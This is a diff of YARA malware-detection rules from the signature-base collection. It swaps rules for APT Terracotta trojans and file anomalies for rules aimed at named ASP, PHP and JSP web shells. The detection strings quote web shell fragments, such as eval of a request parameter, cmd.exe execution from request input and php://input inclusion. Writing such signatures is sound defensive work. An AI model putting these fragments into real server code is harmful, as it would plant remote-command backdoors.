-		logic_hash = "8cce828806d5829735d6ac8d28a48c9b016b96b4370b2f3ac139799a9fe13c4a"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L813-L827"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9cfe372d49fe8bf2fac8e1c534153d9b"
+		logic_hash = "c2eddf58b25caff79460ab9a87ac0573d483866a87c1b1ec0984afce2c22b29f"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "[%d] Failed, %08X" fullword ascii
-		$s2 = "[%d] Offset can not fetched." fullword ascii
-		$s3 = "PowerShadow2011" fullword wide
+		$s1 = "print \"\\n\".'Tip: to view the file \"as is\" - open the page in <a href=\"'.Dx"
+		$s9 = "class=linelisting><nobr>POST (php eval)</td><"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Mithozhan_Trojan : FILE
+rule SIGNATURE_BASE_Webshell_Asp_Ntdaddy
 {
 	meta:
-		description = "Mitozhan Trojan used in APT Terracotta"
+		description = "Web Shell - file ntdaddy.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5e2b4e08-1a35-5eb0-8c25-a73d45b0e279"
-		date = "2015-08-04"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_terracotta.yar#L29-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8553b945e2d4b9f45c438797d6b5e73cfe2899af1f9fd87593af4fd7fb51794a"
-		logic_hash = "a7beb030368cc6e1119617991b68e6fa1bf2d1f6eee28e83fef7862313f19d30"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L828-L842"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c5e6baa5d140f73b4e16a6cfde671c68"
+		logic_hash = "7237eb7233c6affcc1f67a764f704b7d7e1d13f71c64893286c6c99318cc7c3e"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "adbrowser" fullword wide
-		$s2 = "IJKLlGdmaWhram0vn36BgIOChYR3L45xcHNydXQvhmloa2ptbH8voYCDTw==" fullword ascii
-		$s3 = "EFGHlGdmaWhrL41sf36BgIOCL6R3dk8=" fullword ascii
+		$s9 = "if  FP  =  \"RefreshFolder\"  or  "
+		$s10 = "request.form(\"cmdOption\")=\"DeleteFolder\"  "
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Remoteexec_Tool : FILE
+rule SIGNATURE_BASE_Webshell_Mysql_Web_Interface_Version_0_8
 {
 	meta:
-		description = "Remote Access Tool used in APT Terracotta"
+		description = "Web Shell - file MySQL Web Interface Version 0.8.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c3262147-3455-554c-88fc-b523352efe7f"
-		date = "2015-08-04"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_terracotta.yar#L47-L65"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a550131e106ff3c703666f15d55d9bc8c816d1cb9ac1b73c2e29f8aa01e53b78"
-		logic_hash = "951cc65e14c2ff035ccc06d080730b1c25208caa1d30129074a6150557a5cebe"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L843-L856"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "36d4f34d0a22080f47bb1cb94107c60f"
+		logic_hash = "680d4368804ad21e46dbe400563beca3ef724711b5432dccce1276ecadc04f2c"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "cmd.exe /q /c \"%s\"" fullword ascii
-		$s1 = "\\\\.\\pipe\\%s%s%d" fullword ascii
-		$s2 = "This is a service executable! Couldn't start directly." fullword ascii
-		$s3 = "\\\\.\\pipe\\TermHlp_communicaton" fullword ascii
-		$s4 = "TermHlp_stdout" fullword ascii
-		$s5 = "TermHlp_stdin" fullword ascii
+		$s2 = "href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <75KB and 4 of ($s*)
+		all of them
 }
-rule SIGNATURE_BASE_Liudoor_Malware_1 : FILE
+rule SIGNATURE_BASE_Webshell_Elmaliseker_2
 {
 	meta:
-		description = "Liudoor Trojan used in Terracotta APT"
+		description = "Web Shell - file elmaliseker.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ebd5833e-1f5c-5166-aaba-d0be64829e6c"
-		date = "2015-08-04"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_terracotta.yar#L69-L89"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9ef9fcc5df910e796d8b015396cf37614982ebbf9be6f6a4a8d271d4263a36a9"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L857-L871"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b32d1730d23a660fd6aa8e60c3dc549f"
+		logic_hash = "ca300cd142b3c8b820d3b5f5a56eeb834d9acb1d85916b932bd67fb4a25f4ed0"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "deed6e2a31349253143d4069613905e1dfc3ad4589f6987388de13e33ac187fc"
-		hash2 = "4575e7fc8f156d1d499aab5064a4832953cd43795574b4c7b9165cdc92993ce5"
-		hash3 = "ad1a507709c75fe93708ce9ca1227c5fefa812997ed9104ff9adfec62a3ec2bb"
 
 	strings:
-		$s1 = "svchostdllserver.dll" fullword ascii
-		$s2 = "SvcHostDLL: RegisterServiceCtrlHandler %S failed" fullword ascii
-		$s3 = "\\nbtstat.exe" ascii
-		$s4 = "DataVersionEx" fullword ascii
+		$s1 = "<td<%if (FSO.GetExtensionName(path & \"\\\" & oFile.Name)=\"lnk\") or (FSO.GetEx"
+		$s6 = "<input type=button value=Save onclick=\"EditorCommand('Save')\"> <input type=but"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_Liudoor_Malware_2 : FILE
+rule SIGNATURE_BASE_Webshell_ASP_Remexp
 {
 	meta:
-		description = "Liudoor Trojan used in Terracotta APT"
+		description = "Web Shell - file RemExp.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "30b9d727-ec77-5ead-80dd-6d442478e78b"
-		date = "2015-08-04"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_terracotta.yar#L91-L108"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "12cc72fb147f2d580f9f9e2a9bdfbec3f7b0e977871a27ccc941cd0b1aaa634c"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L872-L886"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "aa1d8491f4e2894dbdb91eec1abc2244"
+		logic_hash = "7a3b35c4a16f26167180cea81f67de101edabb9b35479f7e5acae7f3fe07f304"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "f3fb68b21490ded2ae7327271d3412fbbf9d705c8003a195a705c47c98b43800"
-		hash2 = "e42b8385e1aecd89a94a740a2c7cd5ef157b091fabd52cd6f86e47534ca2863e"
 
 	strings:
-		$s0 = "svchostdllserver.dll" fullword ascii
-		$s1 = "Lpykh~mzCCRv|mplpykCCHvq{phlCC\\jmmzqkIzmlvpqCC" fullword ascii
+		$s0 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=SubFolder.Name%>\"> <a href= \"<%=Reques"
+		$s1 = "Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_LOG_Teamviewer_Connect_Chinese_Keyboard_Layout
+rule SIGNATURE_BASE_Webshell_Jsp_List1
 {
 	meta:
-		description = "Detects a suspicious TeamViewer log entry stating that the remote systems had a Chinese keyboard layout"
+		description = "Web Shell - file list1.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f901818b-5150-540f-b645-686c12784a38"
-		date = "2019-10-12"
-		modified = "2020-12-16"
-		reference = "https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/default-input-locales-for-windows-language-packs"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/log_teamviewer_keyboard_layouts.yar#L2-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ba3bc7cbdfc5a47f6bc4cd9049c52eb95d25465af107ae3d068ef785b714279a"
-		score = 60
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L887-L901"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8d9e5afa77303c9c01ff34ea4e7f6ca6"
+		logic_hash = "61ecafe477d98c5eb6887a9ff50960fc28b84512d09a36c02588159b08b395a4"
+		score = 70
 		quality = 85
 		tags = ""
-		limit = "Logscan"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "Changing keyboard layout to: 0804" ascii
-		$x2 = "Changing keyboard layout to: 042a"
-		$fp1 = "Changing keyboard layout to: 08040804" ascii
-		$fp2 = "Changing keyboard layout to: 042a042a" ascii
+		$s1 = "case 's':ConnectionDBM(out,encodeChange(request.getParameter(\"drive"
+		$s9 = "return \"<a href=\\\"javascript:delFile('\"+folderReplace(file)+\"')\\\""
 
 	condition:
-		(#x1+#x2)>(#fp1+#fp2)
+		all of them
 }
-rule SIGNATURE_BASE_LOG_Teamviewer_Connect_Russian_Keyboard_Layout
+rule SIGNATURE_BASE_Webshell_Phpkit_1_0_Odd
 {
 	meta:
-		description = "Detects a suspicious TeamViewer log entry stating that the remote systems had a Russian keyboard layout"
+		description = "Web Shell - file odd.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "360a1cca-2a64-5fd8-bcde-f49e1b17281e"
-		date = "2019-10-12"
-		modified = "2022-12-07"
-		reference = "https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/default-input-locales-for-windows-language-packs"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/log_teamviewer_keyboard_layouts.yar#L23-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9de52ec41fb410fcff50d49eb7871eadd07b520c3cfa089e1eeecc580e610eaa"
-		score = 60
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L902-L917"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "594d1b1311bbef38a0eb3d6cbb1ab538"
+		logic_hash = "bf99d6a71b9ef72574d928a09f3a479f2f819287d78c9a5435e45752e76a59bf"
+		score = 70
 		quality = 85
 		tags = ""
-		limit = "Logscan"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "Changing keyboard layout to: 0419" ascii
-		$fp1 = "Changing keyboard layout to: 04190419" ascii
+		$s0 = "include('php://input');" fullword
+		$s1 = "// No eval() calls, no system() calls, nothing normally seen as malicious." fullword
+		$s2 = "ini_set('allow_url_include, 1'); // Allow url inclusion in this script" fullword
 
 	condition:
-		#x1>#fp1
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_TINY_PE : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_123
 {
 	meta:
-		description = "Detects Tiny PE file"
+		description = "Web Shell - file 123.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5081c24e-91d1-5705-9459-f675be4f0e3c"
-		date = "2019-10-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://webserver2.tecgraf.puc-rio.br/~ismael/Cursos/YC++/apostilas/win32_xcoff_pe/tyne-example/Tiny%20PE.htm"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_file_anomalies.yar#L3-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5eabfa8e0fd4d6d1376d263484fba985e7a4b05d68046be1f79c1dfdbbfff9e5"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L918-L933"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c691f53e849676cac68a38d692467641"
+		logic_hash = "48925d3a302bf09ecb3f031301ca8afc722c7ef53b87efa27a3c4b58ee15217d"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$header = { 4D 5A 00 00 50 45 00 00 }
+		$s0 = "<font color=\"blue\">??????????????????:</font><input type=\"text\" size=\"7"
+		$s3 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
+		$s9 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">    " fullword
 
 	condition:
-		uint16(0)==0x5a4d and uint16(4)==0x4550 and filesize <=20KB and $header at 0
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_GIF_Anomalies : FILE
+rule SIGNATURE_BASE_Webshell_Asp_1
 {
 	meta:
-		description = "Detects files with GIF headers and format anomalies - which means that this image could be an obfuscated file of a different type"
+		description = "Web Shell - file 1.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2e77c2ff-a8f6-5444-a93d-843312640a28"
-		date = "2020-07-02"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://en.wikipedia.org/wiki/GIF"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_file_anomalies.yar#L17-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "64d17c8de72600cd889a802fd002faaaf9a3a17f7fa157ae5b2b620b28e6c439"
-		score = 60
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L934-L948"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8991148adf5de3b8322ec5d78cb01bdb"
+		logic_hash = "9cae40c8fc3966942a8fc3ee0f5d07081ba2d1c1c3156144488ba64015d6838b"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+
+	strings:
+		$s4 = "!22222222222222222222222222222222222222222222222222" fullword
+		$s8 = "<%eval request(\"pass\")%>" fullword
 
 	condition:
-		uint16(0)==0x4947 and uint8(2)==0x46 and uint8(11)!=0x00 and uint8(12)!=0x00 and uint8( filesize -1)!=0x3b
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Hxd_Icon_Anomaly_May23_1 : FILE
+rule SIGNATURE_BASE_Webshell_ASP_Tool
 {
 	meta:
-		description = "Detects suspicious use of the the free hex editor HxD's icon in PE files that don't seem to be a legitimate version of HxD"
-		author = "Florian Roth"
-		id = "3ac8cc92-6d76-5787-ada0-cfb6eabb4b20"
-		date = "2023-05-29"
+		description = "Web Shell - file tool.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.linkedin.com/feed/update/urn:li:activity:7068631930040188929/?utm_source=share&utm_medium=member_ios"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_file_anomalies.yar#L32-L84"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a328687ac8b868fb78a49188b286a8951c6043a7ff6ff0c7a23c3f9b3ef15eb2"
-		score = 65
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L949-L964"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4ab68d38527d5834e9c1ff64407b34fb"
+		logic_hash = "62ba39bac09cb403a47678cd38c519642cc3c20f43c470b828ec448c42e9bb73"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ac1 = { 99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
-               99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
-               99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
-               99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
-               99 00 77 0D DD 09 99 80 99 00 77 0D D0 99 98 09
-               99 99 00 0D D0 99 98 09 99 99 00 0D D0 99 98 09
-               99 99 00 0D D0 99 98 0F F9 99 00 0D D0 99 98 09
-               9F 99 00 0D D0 99 98 09 FF 99 00 0D D0 99 98 09
-               FF 99 00 0D D0 99 98 09 99 99 00 0D D0 99 98 0F
-               F9 99 00 0D D0 99 98 09 99 99 00 0D 09 99 80 9F
-               F9 99 99 00 09 99 80 99 F9 99 99 00 09 99 80 FF }
-		$ac2 = { FF FF FF FF FF FF FF FF FF FF FF FF FF FF B9 DE
-               FA 68 B8 F4 39 A2 F1 39 A2 F1 39 A2 F1 39 A2 F1
-               39 A2 F1 39 A2 F1 68 B8 F4 B9 DE FA FF FF FF FF
-               FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF }
-		$s1 = { 00 4D 00 61 00 EB 00 6C 00 20 00 48 00 F6 00 72 00 7A }
-		$s2 = "mh-nexus.de" ascii wide
-		$upx1 = "UPX0" ascii fullword
-		$xs1 = "terminator" ascii wide fullword
-		$xs2 = "Terminator" ascii wide fullword
+		$s0 = "Response.Write \"<FORM action=\"\"\" & Request.ServerVariables(\"URL\") & \"\"\""
+		$s3 = "Response.Write \"<tr><td><font face='arial' size='2'><b>&lt;DIR&gt; <a href='\" "
+		$s9 = "Response.Write \"<font face='arial' size='1'><a href=\"\"#\"\" onclick=\"\"javas"
 
 	condition:
-		uint16(0)==0x5a4d and 1 of ($ac*) and ( not 1 of ($s*) or filesize >6930000 or (pe.is_32bit() and filesize <1540000 and not $upx1) or (pe.is_32bit() and filesize <590000 and $upx1) or (pe.is_64bit() and filesize <6670000 and not $upx1) or (pe.is_64bit() and filesize <1300000 and $upx1) or 1 of ($xs*))
+		2 of them
 }
-rule SIGNATURE_BASE_Chinachopper_Generic : FILE
+rule SIGNATURE_BASE_Webshell_Cmd_Win32
 {
 	meta:
-		description = "China Chopper Webshells - PHP and ASPX"
+		description = "Web Shell - file cmd_win32.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2473cef1-88cf-5b76-a87a-2978e6780b4f"
-		date = "2015-03-10"
-		modified = "2022-10-27"
-		reference = "https://www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-china-chopper-report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_webshell_chinachopper.yar#L2-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "34cb81b077d6dae5b4565001b2ab28897c6c554f00aa102601fb9c416c6c0f09"
-		score = 75
-		quality = 35
-		tags = "FILE"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L965-L979"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cc4d4d6cc9a25984aa9a7583c7def174"
+		logic_hash = "b90ba15b7b2c557f7b2303695b7f1f737f63df06d712c89e0cfea51c7d37e21d"
+		score = 70
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x_aspx = /%@\sPage\sLanguage=.Jscript.%><%eval\(Request\.Item\[.{,100}unsafe/
-		$x_php = /<?php.\@eval\(\$_POST./
-		$fp1 = "GET /"
-		$fp2 = "POST /"
+		$s0 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /c \" + request.getParam"
+		$s1 = "<FORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">" fullword
 
 	condition:
-		filesize <300KB and 1 of ($x*) and not 1 of ($fp*)
+		2 of them
 }
-rule SIGNATURE_BASE_TA459_Malware_May17_1 : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Jshell
 {
 	meta:
-		description = "Detects TA459 related malware"
+		description = "Web Shell - file jshell.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "eb5d2464-ab95-5f5d-8b20-fa023da53130"
-		date = "2017-05-31"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/RLf9qU"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta459.yar#L12-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2655d4c3a28ad2f77bbf50cd3dface7de49f675f0f974aa44d9b69c3f803da30"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L980-L997"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "124b22f38aaaf064cef14711b2602c06"
+		logic_hash = "dfe3ac097de4ca406ab7ec967fdc03d1e87c74f84fc675b58438a842d80cccda"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5fd61793d498a395861fa263e4438183a3c4e6f1e4f098ac6e97c9d0911327bf"
 
 	strings:
-		$s3 = "xtsewy" fullword ascii
-		$s6 = "CW&mhAklnfVULL" ascii
+		$s0 = "kXpeW[\"" fullword
+		$s4 = "[7b:g0W@W<" fullword
+		$s5 = "b:gHr,g<" fullword
+		$s8 = "RhV0W@W<" fullword
+		$s9 = "S_MR(u7b" fullword
 
 	condition:
-		( uint16(0)==0x6152 and filesize <800KB and all of them )
+		all of them
 }
-rule SIGNATURE_BASE_TA459_Malware_May17_2 : FILE
+rule SIGNATURE_BASE_Webshell_ASP_Zehir4
 {
 	meta:
-		description = "Detects TA459 related malware"
+		description = "Web Shell - file zehir4.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "62954422-4657-5ded-9883-bb78eac697fb"
-		date = "2017-05-31"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/RLf9qU"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta459.yar#L28-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9904f3905672e5209df037dff1fa2e4d88ee33531096045eb9b9f7460458b6a2"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L998-L1011"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7f4e12e159360743ec016273c3b9108c"
+		logic_hash = "aa3e07ee6369dd5f86f28a53c8e45391de718d4935021339a7b47829b5196f54"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4601133e94c4bc74916a9d96a5bc27cc3125cdc0be7225b2c7d4047f8506b3aa"
 
 	strings:
-		$a1 = "Mcutil.dll" fullword ascii
-		$a2 = "mcut.exe" fullword ascii
-		$s1 = "Software\\WinRAR SFX" fullword ascii
-		$s2 = "AYou may need to run this self-extracting archive as administrator" fullword wide
+		$s9 = "Response.Write \"<a href='\"&dosyaPath&\"?status=7&Path=\"&Path&\"/"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <900KB and all of ($a*) and 1 of ($s*))
+		all of them
 }
-rule SIGNATURE_BASE_Office_Autoopen_Macro : FILE
+rule SIGNATURE_BASE_Webshell_Wsb_Idc
 {
 	meta:
-		description = "Detects an Microsoft Office file that contains the AutoOpen Macro function"
+		description = "Web Shell - file idc.php"
 		author = "Florian Roth (Nextron Systems)"
